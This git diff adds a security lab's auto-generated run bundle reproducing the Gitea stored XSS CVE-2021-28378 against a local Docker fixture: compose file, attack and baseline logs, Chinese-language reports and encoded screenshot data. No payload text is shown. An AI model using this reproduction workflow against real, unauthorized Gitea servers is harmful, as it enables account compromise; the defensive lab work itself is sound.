zZJ-L!iPOD`uZco7O#D${d+(;Ks;n;&c{J$3GsCTZr1WVsU->F;Tcv(H%Ciy>!v7d#~;%CFoe5P8UP31}^btG(P-zKEU+;zzy0%SeqxP9i{hwQ9!eA z(rWte)*hBS2mHn-EdNj2Z%(HW*f88!Z!v$?Jk=?2;gL67zV0~Pf;tx&ZjQBf8`Se@ z;(U4vzajX!-ht-g`TOPAirnpB_<9>!zrx*g?q?#To^ZLI$zXWRrESUQ)7|ShpW?8T z-0Nic^^NE|89L7i#nT2m2e^M#EOkgJ-*%FJzr|XCgI#fmZ7D;4{>Dv9ItfTvSy!-%pOR|9dwOw*eRxEtA^tx7o6GirJNdi)4}bg; z;cX|1VR&%}F)xV{I-AL9;WdTvBZp@eAN`*RPHC*%r_qqW6-*?j)_@mea42a=Le(y$xHSPZY zhmsMW0(0TESoiIBW&~S(4(<=4>Fz``*e%P${9wW}tIxj7^cpp*U1R0#Ob@-LU?Q%v zieK^3+5x>w-{1cMccY&5r-w3lcus+d4->39C_F@Xo#%)FE5TP?&KR|5I&K6Lp#azo z_CBBUlje8WkLozOL#IT~2*|w>Qf8OU;09z@S68uK2Q98n^Nq*|n8O*$Q+eX5Vaet6 zr+z(#Eh{TIOR2nUw=Ye~Z?@$?A{~9=aQA7@xf1%y!A6ziO#hOc2nc4<_KkFO=dD zGuHnU9ufvBe%?RXH;Zg97<}DKPw7uCFxjJiczY9>20PIEvs>_K{$Hv()goPuLT$~L zznUZ>>69`{op#Fpk*-a^c+seac%)HZn$y;HxMxO^#|gFME%(K4K9K-2iD;Il;X+F2 zt(%Y6IIRpaEcNwuND!M()tZ3f)ozTNX!BQc%lUL@VJXqGuQF?+Y$@c_>72m1vY5)- z!-*A8Z!YU0l~SHHZGA7T_9g8REs|ur8@`SkwqowB`9F zm1O5|pwZCGsDOxpG^OWo>keVyQG0lHp-xklQhvl>nzom<{(?RXn4g`mWw#!ASa_S{ zATGuhqbUNNmBYp)%)s^mH?=2@pWAgbWp$)DOMS63o@v8uv_xK@%zWVOq(Nt#dWj*0 zZ}rNM#qyZNo5gN-Tq1VFXCI)*0Q=R+FJetEjw5d>$Q!^G2kU#~@wpR{i(CUH{cEGS zBAAO!j}PsZe=5d)*jao#>hOn_Z)3Qyqqi3-8fsqG22#3!ESPH2r8+Q&9^E5>p-vc1 zm3Q+l(xYQgE$Oe2+P>Qc&(CeuGsTDqin73A+|Mu_YpAEk)!~$|G-ayP{I~yq^ zdBR<4BI=mP?y6Y5uYUOkp=u%G%lr3OZS|vXv{a%fVg%fM{l#x$XOPdo|3peTT<99P zU3}lo@cNf(J~%`ku2x(oynO)5Lt?g-5uRZV<2U&LFZ8-LA2|fND}X1|SxgCL;ziQP zS+@q=?lqYCfiqcmHf@dhn4S)^OI-l8y8{9i;1FAk)JSPi1n_E3zTI~FeFzfG-VC$# z@k;8h(S``ce3g9m)#2LemtNLBH_2oL)<-Lm!$B8d963@yx{CXf76|0zV89l(z`c=r zK43RpUtj>mn^`{DgkK~*BcEi#bGwrOb>p5(mv_T^4NLy~Y7Tgi**%$~Vv|CV5Zc!o z+yIJmdf79W-}k&4daxmofj#*g+1qG^5Dwo5Uhz`z9uo&gc|p$@;35wXm-;~4CV5~# z^P4JhBk|+P+ETIYlDO0Ph+JnlrAkO+M1*3IJ?K)h_wGb^5j`Rb3_};|b>Z{auMXvF zau~nWyvo~~d%4L{5laek1vAAg->QZ?jM!QF(^5+6msME zM9QEcT2@xJ!eJVcl&4uuF+WbmhoJ{la7_)$mECNV#q{t`Q1ixDLi45P9HJ+?M17gK z2kY)mSb<~J4%?XHE|R@ue>vk2aZmrmXNn7UK=S}BdPg{G3krEKXf{s2X3!l|Y|=9s zOzF+d?RJ1QiPiLsqORU11dXnZi{{m7*7c3?@VViB__I`VDgk}GUuCnn4ks6j67aq! zP{{nizzv`*5wm4+*e!QH>yDydlc$k`X~r2J*ZtLBOpUScfKXNPcBD51g9I@TN;QkUr_(Im3W~#t>VtC>@62-{~62`thdf!;rED@avNu?E^kb!9x zHj@DX_jSj@M_yD|aA-+fv>an+VE7g#@hOH4Svxuggw1&Z2IGEO1v(Cs(G2@F;)Dc^ z*=Ct*EN(RQqoc#(Kei6e7~h}&oo_z4v@-=g7W-X)&GH0h2isc+I_|ge9y*ekQ<^^2 ztbV(@bHKXp-WoK6az@8fBFi*TCngMcK<~|}FX{W0&4f^zWFOBzMz1|AhR5MUiZ<8l zXNK0F> zah!WV94*q55U{pm-kQ=|Lu>J zZ-^!-U#)qyIl?M(=gB9g`4;$gME*NbUmX97xs@Z4X1#k!*}}D;aA+@BHu*>5aCL(% z5ridIbrKUaG`#bt3FXj+Iyxt_TBm3a-k!n1=GT*&D963c;OrXn$r`Fui_By34l5lI zD(N^wn8gOUWzfe0d@_QLNF)fIJrgbD(`;#+Ec(i3^Cpl~=yuaa-v??(PGx3Ow<%xm z0v@lum4hU{k8Iy7e|wMZZX8g$?odgmlm)-zHQud&59{#gNWVSG>cv^@;NaksQP}>l zo&ZTq5O5Msi~F@etS8~fS?{ex-9=JM6Be6|Ig90bTyd}5w)yof6+jmFDvLduIc3p2 z2DOc`Mtx5RXb_yRS^+>28G%R6kEn*pO)hos5?qo&sicNqZdAd&nXGaxZwljI%&lxwOA zafLIW52&^Doz)NN)gu5IrK2aJdOsJqyaEoB-}cw4VLuUzaPhve zBw6y$({$HRIH>=a82!s-wEt>|L@2ezx3b;M&7f4_VHlPB-)1`^h%bbpPm)>6x>R-_7P%1N;_|`JzF79jHpRt9$e1qs`{y~bb&Ojbe zj(|#~5_>^F^Nb1i0w$?zE}O%GDhlO({|8kj26N#%d1zmiln+46!Wk8QgR0RDb76Tt zA1DAM%q|6^LbJ`d^PvCqF&@A@FiXb2)7(Vb&E5)hwMx=o0alWU5Ng76di1V0 z#R!x#Mx!OcHK%BFPlAo_Z9eC3jaN&_eiS|X0?Ee}w`wLn2`9|}?Z*-kwxhcic z{rNl%C1fskX#e_x1EJUIxN%H1pZ=MQK{dwKXb!!fI~HQ`h37oX9B8NFaaaQus%FqR z*MhL``^^4CH3Uf$eAChfrO&*kP7o^61uw>mz)ZaaA@|$Krxw=TEXxim{ED0`J2KjE9WPFnFC@@jx zQco}Ltqhfxm8m{hAht8SF2G4{0m#3TpouCw9{M#8$yev)0RLO>x3Wb)Fe-Jg!U^KK zJ(sz?F-uwF`myC% z=)DWie%`~#-2Hw2_r34F4KI3ld{k;S1oXqgZHxK!bu9~{Oc!^G&EHKOVeT(qyq}@f zp0CR^*uapjuTM_S{1r#Rc$zpbfO>XbFIYK$SB}ok0Kj~Gbbn{(zr2s zzXAUwska22zh3&LL zxy97+(Gd>$Pl_~G$h5~NCiwXH!bMq`Nvvj@VYL^7{miBprJ8(J7_fFEF-r|15ZF<5 zO8VcydY|}6pESKZUxVf+E+qJ0nRQ-+dx3S|Lhhx@HwIJ{vsIlor`_@b6Xmny8^*_7 zFyql+e-ZAgS-R39lXw}Atk9r`--vx;?;vWPckNfQNU1T0JZ59AE0#y_)Df7IvOg?F zOMC$xwhYO|C-udyc%YBktGJ#VkT35W;LQ&i_Gf66=f&S+P~q3xwml+*a0WQiT~S

    ecjiS@Kj83NGm5(yfPGvFKl^5Fp?qtt!%&g+&> zx7F9?)@S$)r#IEB53g;^d zuzEh7mk0$4FS`8sIdd6z8SrIGb8W0Wi6qT5UTIv#2CV^(9>-ECZ$aR>8^>i6$8Tc} zIXBXNqqwwKDuEubhE)5jBO43*-L^{e<%R=UmHk{wkfxkYja2EyyZRGaJHEVHXK$v) z=eTLPn8){>hk#Bo<<-uU$o#kJRi;gO@kost$IMe=*y_6gQvvz?z@9ENtFdDY+4PwW_M7d^P0?Edg57Z=eW_BE*V~($(_Ua)?%k6Oc)(-C z+YeZZwY9Zs`;%(Rq>o0uDXJBgOIvrSd*b-gQTwYC?&xFOzEJ6?hnSBz#jdWd-Zvgp zp4C$vMRD0Y$xO?VwOsDsI@+G+1Ae}zuUv{`43lO80Bv&B%LO0U@1&Im1TZgls~1>) z$LHZ0>x^cNpjFofrU*+&p^k|C>d)rh-XASP29q_f1XQsEqP|c`EC6N74(KqmEmD|O z442UHu3kq($R+GV0e42_XLa;^crr37w(vCBTU&$iP_BGRx#`G0WOa~#y+t`oA*sYd zhDS%8M|V{a`RvTnIIvWFt`$tax$qhr{7r1vw~sg z8`&CY^7N>YbFCC`%t5xjQS0ku0;|Nr06_>OogDk8 zxTR^yRq1{fa1m!4%rZ`9;75UsGaH^@$oMW=Bd~pPOn1<+};AHt!>%09l(9DnaC?3Lz!D0brUg- zzL!{*(xixS631@&gmabvcg-k&j~xm#4Lo1Le3F&SvNP(o zaXM53p*Ey&Rcwl%PuCQDp~4sTR+PkT8ocdNRen!_0C|8bGG7kx7l(w4FRXJv&)cT?0T zltYG*i_ms&bdR%8M`F9**|4`laJpzTMOYf5|C*Ybf!z#jj3sE8&Gn3^y4Z{rgY_yL z+pKdJY5L-ELvN1L7vto$6J!q>sx!T9Q#woP~~S78NeK?p{3>GDlF z<%}2Lebo`hNW=WqZY;nUIU)dNKgJQA(U0Z2Gz)Yms`h#nSUl{%=Pu<5a&k5K-lnWd z$prePvYOg_XS7gzchSn(@A+(#mb}Hb&}_MuG6U&El;e^$7-@LlTxUWKBM%-F6qmLo z3e;g|fz-7US;51_1xcZ(cgW}HIU%OxY%wZ+v*8L_^Egi6z6pRK7MR-%nysYNfS%d| zO63bZi5B(m`4?oriSmgXJ8v5gm4)|TO5}6hYVKla&50qj?@4goTNxmFo-y@Ru;Fp< zecG_I{-t72#&R%=g7|wdM}yX;+F-*C+-ku8;{mts`^fZ2`G=uT#2&Gl@-A^&X;Vvw z7*5q*DuNujeQ9YPutK?zCX1)*N!-`%jGBZ^{L&S?`HoN#V-GN7uw6fmw2fhQ4Ur$y zjV2YaVv$Sp2NZKTXct%5TW4m^i%}y~8pQMuSl0;vPpKdxlzCI>xdAt9-82W_#L3D-|POL}4~jRI7Ydh%@rt zc!iZK&6|An@^dHwehQ>!nnk)eRQMs(GEW4Dz|SCPAN&a;B1daXm)e0bTxK|83dKR= zSaE`mj{J8cpB2RCz?-V?Fqz&)tRR1iaD6-icGMFUdgR2mRe5aPp*I+o}DR{COg55U@arLKXP!oS;FE&=XQsW#>kpjy0V|2Ae z`AzfQl!36e+3WW@hq4!e2yYwuyTJ1ULu|QMs>vtabQQhJxq*Qep=r5Ls$hsu(V+D$R9rLmyHAp(8v=7wal~_X#WTCiM=Mlm zzl1)KQY*0ZEm@javG7d>H8LkpkHW=`Av?&5q#umt9XXd4tbz(<@=0U#bLQ0y*;!ED zJ|$R^qn0^CJ1DiuKj5)v;G1Ku`M-E)zm{WWKm)` zqA@BerPjLg$xKc1E%)crG#RL9;}Q>s$7vQK z?0gZuM(tr%ul(*tSP;+c%g^9bI{Pp7B*w0bglq;;ToS*>ly>=Dv^F44AQaVd8Oj5k zBMz6JTErLtf!#Rub5#Pu>D7x~lm#vI-7sL|!I_*`?uy+o*I~R8qTOU2c3Et-Imz{~ zKoG$zV0$Rq*!`G;ndGJ7Z!kif%kZoTs~5Q56;poIy3gq781Xpr@=%Kmx7|9K?y2=3 z@tc20IW0xKaZflQnfl=eRxK(D*@_4fz%S~IYwQ;TVJ(73W(FKC#qooz;~M*++ar2) z%ST-(Wg^!Y6#TV^Ngg8ofz=lsx@KEA;#^0QbcV*Au8CbJ5Ka2XW}@gv#urlp=*}Q^ z3BP+xtYqoA@e^fTE057P$(dhE)jj$zrSet@V}FPB@lc}BsI2{GIt!~m^?P>{(8i0U=loN>8S;x5o`UOdx#qssgB@r|zRh&d3^(G4ds`z*{uK>Qi|?Iu;9S@(_n#hq-&~D@MNRX; z4s%Ph=&5dk&}xbXIUQSXfoC&>+~QuW3hxxkoQj*bYi&oa&5}tca#2f6LQkZhh-!29 zsS%#~TYQKfA&TqCfOU+c&m79t}M=lRYAfUKDJFb>7M7?rkPf29Uj%*VT zZXg1CJD1&7g?pK#-Jj^q!Cy>} zkKOep$6Y2_zp;BfumbQ^@g_T)cLYlNl{(zq=fpdTj;gJ#XwO@`2l$(T6!oGLfk&%oK=Jdw-_1fnye5hOpBT3bcF150Q!xI@Q({Ha! zud^UQm){XftyEQF1UEO^?S`519`S0jh>W2bBoj%Vg21Yr;{)%@Y(+PRhY#I&shxU) zm{B{sZOdAB&6?>Ml7$2Bt^N5Glvr?XFtp5;CC~W*_Q|Mbu7q* z0$ z`T-16D5T6J`c#tOk`!JnkCL=l9ez?Ml?3gc7@Ku0q3}!jpg&aMW)dbHt|vF!uty}<$sEXsbasyWzSwaFhmtM82y#!@RY>*@_SlaMeDN_Y1})A^WQ2FKrC{_c1_^-+IfKCPy}yw?GnreSny;$_V^ znmYyfj#2u<1%gG^dc7?HYdm(_Ia`#;J@KfA@&1vE(4-5oE7xvXF7TIw?fDZn9O~w+ z({6~?39v17ev*!TgNCd-nhj+i|N7+MLD(m?eDmCg_s7LKgNx#p@`5Q!MXpi+BbBSC z7@ExbPb{`=AoU$7w6CxS(9SPg`-cLNy5e%S?@2>%O$yo&>hABC61y z`05vH^8B0pJzBfNdtv~~No{tVZDuI_(!ce%ymj0E&cPKtLIKO^%_(;~I)$vp3ailh zPwz{N`oAVD33gthI|8Sarys&6A^yx*oBvurM>BhmNuw4@N?_ju>U{>H)P*~<=`sUZ1Gv^yJENr}kkyo0B_FF|t@lq_f>l>N-DGMG zx7o7e2<>ReS_Il$UV&V@T6Xcq5|N4 z@n!p-e0e+~jzjN`seyqB0q5Pr%us{vxh@954vI81U?-`PWBz0b{{RD}kjG;5b^^Zk zU(O7N=~G(n;!q!@8|1s)X%5sVc_*F8Lf~_g90fcm%q3?DFS%uP*n40AUZ%EP8aYgt`Ff4t)|3UbGK=j0dZ05K&QOz5@phmL#1P z8PPmK9(&K?opHd8XW~)yy8P2G>fMIJBjm0CN+rYW*=%{ zMPPtgt&)j2^0?wKQDG$~{+sz*%U`($dm4iPsU9vrc<)^Qa={5`-W?J7A;$(l0d;jn zr}e~9;ka_u20c-rF@zxBRfJep6%t=675 zF8xf#_(Wf*Y=F1Y20RBG#|GmOj!f!V!m0Hwisus=lc_Hm+rT6J3!PG)ox?$fTKa2$ z!e314wcjSlBm?wXFMJJ6?u9A(pz~VdQXa+j4%&LXQ1e9wHANs9tJZkM?PZmGgq7;w zD5R4G^++Qg!5m!B`5PYwN$U9^XqGQM4kine9yX95`5%I5EP z0J9w`iMs>R-!#fx^kN4YQXVFPU%YH`Gl$8b{z4~Bh&3n+KUe(=Qq|N;wey&yLxR7Z z_URo*j?7y}R~VhlXqECbRwj`3)8Ekp>A2VTUdrXV3kb*sMz4)o1j$>O^k>98v0Fwu zY_ut9RN2-B%KRllRAxFkTH`cZq$eIuFDrS`GCjb(+cx1*i{>1aIv+2u^TAU7V6(VUDuDd;@cYK20cr3$O2OHV+@Y~-6$-@Pu(n=wZxCz)7&lkT{UfFaQ&%)rVJ z{$dGF36TjQ!WRI+u4$Jne?Rs%AQmHjUMsFrhP~$|8_#n_2CS%nV5tkEeyIJl?uMmBX1^5OOnW zomgwBH#K;dWEAbwzz8F2TXDZNDlFS9h>xj%Ad|k{eK6`Kv@^Ddrv&`$c zUi{Dgz{kpqd|P{azW83r=kqx4AMrHT^7CKY^#s(CMnZxjJNx-O?^mQEdzpqt!oRMQ zB@D8c{d0Ygon3>B>_2{*VnljV8vg7QuxY>{cgev ziRL!8Mbeq9F#mUbsX;3Sc5!Fc!4tH0*w-3jX!=MVhE^SoPT5( z&8XIu)|5oz9oLn)7vghyR{Tb8$^7Hh+|3v=#75?8^+yB0k z|Gty3od4$!gMU9T|DQZCZ{S1vdgb3+F5HIyolxe#;nPcQf}4(og?(L2Snzzh|9>I= z`)_#D{=43&Y4_Ek59e#_{X_Q^K}J8U_c#||zk4Tmo--)ldI#URhYk6}zc2s)_nuI| ohj@1Ol0vZ^{&D$yTeyT36@GVMO@-zeT)`51B`uuy^4-V(0ZBq8H2?qr literal 0 HcmV?d00001 diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/compose/compose.yaml b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/compose/compose.yaml new file mode 100644 index 00000000..a94cc2b7 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/compose/compose.yaml @@ -0,0 +1,26 @@ +services: + app: + image: python:3.12-alpine + networks: + - labnet + ports: + - 18102:3000 + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/gitea/xss/scenario.json + PORT: '3000' + command: + - python + - /workspace/00-environments/templates/fixtures/shared/python_fixture.py + working_dir: /workspace + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +networks: + labnet: + driver: bridge diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json new file mode 100644 index 00000000..d44d04cc --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json @@ -0,0 +1,53 @@ +{ + "steps": [ + { + "kind": "runner", + "tool": "gitea.xss", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json" + } + ], + "success": true, + "detail": "stored payload rendered inside the browser proof page", + "before": {}, + "attack": { + "status_code": 200, + "ok": true, + "body": { + "ok": true, + "detail": "stored payload rendered inside the browser proof page", + "case_id": "gitea--CVE-2021-28378" + } + }, + "after": {}, + "proof": { + "status_code": 200, + "ok": true, + "body": { + "success": true, + "detail": "stored payload rendered inside the browser proof page", + "case_id": "gitea--CVE-2021-28378", + "sink_hits": 0, + "uploads": [], + "events": [ + { + "event": "seed", + "detail": "gitea--CVE-2021-28378" + }, + { + "event": "attack", + "detail": "stored payload rendered inside the browser proof page" + } + ] + } + }, + "assertions": [ + { + "name": "proof-success", + "kind": "runner-proof", + "passed": true, + "detail": "stored payload rendered inside the browser proof page" + } + ] +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-browser.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-browser.json new file mode 100644 index 00000000..d9c34366 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-browser.json @@ -0,0 +1,14 @@ +{ + "required": true, + "present": true, + "page_title": "Gitea Stored XSS Fixture", + "page_url": "http://127.0.0.1:18102/", + "error_kind": null, + "refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json" + ] +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json new file mode 100644 index 00000000..fe51488c --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json @@ -0,0 +1 @@ +[] diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json new file mode 100644 index 00000000..cdb46ccf --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json @@ -0,0 +1,6 @@ +[ + { + "method": "GET", + "url": "http://127.0.0.1:18102/" + } +] diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json new file mode 100644 index 00000000..ec95fa8d --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json @@ -0,0 +1,5 @@ +{ + "url": "http://127.0.0.1:18102/", + "title": "Gitea Stored XSS Fixture", + "body_excerpt": "\n \n Gitea Stored XSS Fixture\n Stored payload rendering path for browser proof capture.\n Baseline ready\n System: gitea / Family: xss\n \n \n \n \n \n \n\n" +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline.json new file mode 100644 index 00000000..094d98ac --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline.json @@ -0,0 +1,24 @@ +{ + "observations": [ + { + "url": "http://127.0.0.1:18102/", + "status_code": 200, + "headers": { + "Server": "BaseHTTP/0.6 Python/3.12.13", + "Date": "Wed, 18 Mar 2026 01:28:16 GMT", + "Content-Type": "text/html; charset=utf-8", + "Content-Length": "992" + }, + "body_excerpt": "\n\n\n \n \n Gitea Stored XSS Fixture\n + +

    运行 gitea-gitea--CVE-2021-28378-20260318012813

    +
    +
    漏洞条目
    gitea--CVE-2021-28378
    +
    实证状态
    verified-real
    +
    复现 Profile
    gitea-xss
    +
    Artifact 模式
    local-fixture
    +
    +

    Mermaid 时间线

    +
    flowchart LR
    +A["选择 Advisory"] --> B["解析 Repro Profile"]
    +B --> C["生成 Compose 环境"]
    +C --> D["采集基线快照"]
    +D --> E["执行受控攻击步骤"]
    +E --> F["浏览器回放验证"]
    +F --> G["收集日志与证据"]
    +G --> H["回写 Registry 与报告"]
    +

    运行时间线

    + + + + + + + + + + + + + + +
    时间步骤状态说明
    2026-03-18T01:28:13+00:00select-advisorycompletedgitea--CVE-2021-28378
    2026-03-18T01:28:13+00:00resolve-repro-profilecompletedgitea-xss
    2026-03-18T01:28:13+00:00doctorcompletedall checks passed
    2026-03-18T01:28:16+00:00provision-compose-environmentready-
    2026-03-18T01:28:16+00:00wait-readycompletedbaseline urls ready (1)
    2026-03-18T01:28:16+00:00seed-environmentcompletedsteps=1
    2026-03-18T01:28:16+00:00baseline-snapshotcompletedurls=1
    2026-03-18T01:28:17+00:00browser-replay-before-attackcompleted-
    2026-03-18T01:28:17+00:00controlled-attack-chaincompletedsteps=1
    2026-03-18T01:28:18+00:00browser-replay-after-attackcompleted-
    2026-03-18T01:28:18+00:00collect-logs-and-evidencecompletedcontainer_logs=1
    2026-03-18T01:28:19+00:00cleanup-compose-environmentcompleteddocker compose down completed
    2026-03-18T01:28:19+00:00update-registry-and-reportscompletedgitea-gitea--CVE-2021-28378-20260318012813
    +

    攻击步骤

    + + +
    工具状态输出
    gitea.xsscompleted/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json
    +

    浏览器截图

    + +

    证据清单

      +
    • compose/compose.yaml
    • +
    • assets/baseline.png
    • +
    • assets/baseline-dom.html
    • +
    • logs/baseline-console.json
    • +
    • logs/baseline-network.json
    • +
    • logs/baseline-page.json
    • +
    • assets/proof.png
    • +
    • assets/proof-dom.html
    • +
    • logs/proof-console.json
    • +
    • logs/proof-network.json
    • +
    • logs/proof-page.json
    • +
    • logs/docker/app.log
    • +
    • logs/attack.json
    • +
    • logs/baseline.json
    • +
    + diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/report.md b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/report.md new file mode 100644 index 00000000..d4f8bcb1 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/report.md @@ -0,0 +1,86 @@ +# 运行 gitea-gitea--CVE-2021-28378-20260318012813 + +> `LAB ONLY` | `AUTHORIZED TARGETS ONLY` | 自动生成 run bundle + +- 漏洞条目: `gitea--CVE-2021-28378` +- 系统: `gitea` +- Repro Profile: `gitea-xss` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 启动时间: `2026-03-18T01:28:13+00:00` +- 完成时间: `2026-03-18T01:28:19+00:00` +- 阻塞原因: `-` +- Compose 服务: `app` + +## 运行时间线 + +- Mermaid: [timeline.mmd](/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/timeline.mmd) + +| 时间 | 步骤 | 状态 | 说明 | +|------|------|------|------| +| `2026-03-18T01:28:13+00:00` | `select-advisory` | `completed` | gitea--CVE-2021-28378 | +| `2026-03-18T01:28:13+00:00` | `resolve-repro-profile` | `completed` | gitea-xss | +| `2026-03-18T01:28:13+00:00` | `doctor` | `completed` | all checks passed | +| `2026-03-18T01:28:16+00:00` | `provision-compose-environment` | `ready` | - | +| `2026-03-18T01:28:16+00:00` | `wait-ready` | `completed` | baseline urls ready (1) | +| `2026-03-18T01:28:16+00:00` | `seed-environment` | `completed` | steps=1 | +| `2026-03-18T01:28:16+00:00` | `baseline-snapshot` | `completed` | urls=1 | +| `2026-03-18T01:28:17+00:00` | `browser-replay-before-attack` | `completed` | - | +| `2026-03-18T01:28:17+00:00` | `controlled-attack-chain` | `completed` | steps=1 | +| `2026-03-18T01:28:18+00:00` | `browser-replay-after-attack` | `completed` | - | +| `2026-03-18T01:28:18+00:00` | `collect-logs-and-evidence` | `completed` | container_logs=1 | +| `2026-03-18T01:28:19+00:00` | `cleanup-compose-environment` | `completed` | docker compose down completed | +| `2026-03-18T01:28:19+00:00` | `update-registry-and-reports` | `completed` | gitea-gitea--CVE-2021-28378-20260318012813 | + +## Compose 拓扑 + +- Compose 文件: `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/compose/compose.yaml` +- 服务列表: `app` + +## 攻击步骤 + +| 工具/步骤 | 状态 | 结果 | +|-----------|------|------| +| `gitea.xss` | `completed` | `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json` | + +## 证据摘要 + +- Baseline: `1` +- 攻击步骤: `1` +- 浏览器证据: `10` +- 容器日志: `1` +- 请求日志: `2` + +## 浏览器截图 + +![baseline](assets/baseline.png) +![proof](assets/proof.png) + +## 浏览器证据 + +- `assets/baseline.png` +- `assets/baseline-dom.html` +- `logs/baseline-console.json` +- `logs/baseline-network.json` +- `logs/baseline-page.json` +- `assets/proof.png` +- `assets/proof-dom.html` +- `logs/proof-console.json` +- `logs/proof-network.json` +- `logs/proof-page.json` + +## 容器日志 + +- `logs/docker/app.log` + +## 请求与基线日志 + +- `logs/attack.json` +- `logs/baseline.json` + +## 最小化验证说明 + +- 仅限自有资产、本地靶场或已授权实验目标。 +- 默认执行 minimal-proof;不会把破坏性或不可回滚动作作为默认路径。 +- 若浏览器证据缺失,前端类案例不会被标为 `verified-*`。 diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/run.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/run.json new file mode 100644 index 00000000..e0aa251e --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/run.json @@ -0,0 +1,197 @@ +{ + "run_id": "gitea-gitea--CVE-2021-28378-20260318012813", + "system_id": "gitea", + "advisory_id": "gitea--CVE-2021-28378", + "repro_profile_id": "gitea-xss", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "gitea.xss", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/attack.json" + } + ], + "browser_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/logs/proof-page.json" + ], + "browser_evidence": { + "required": true, + "present": true, + "refs": [ + 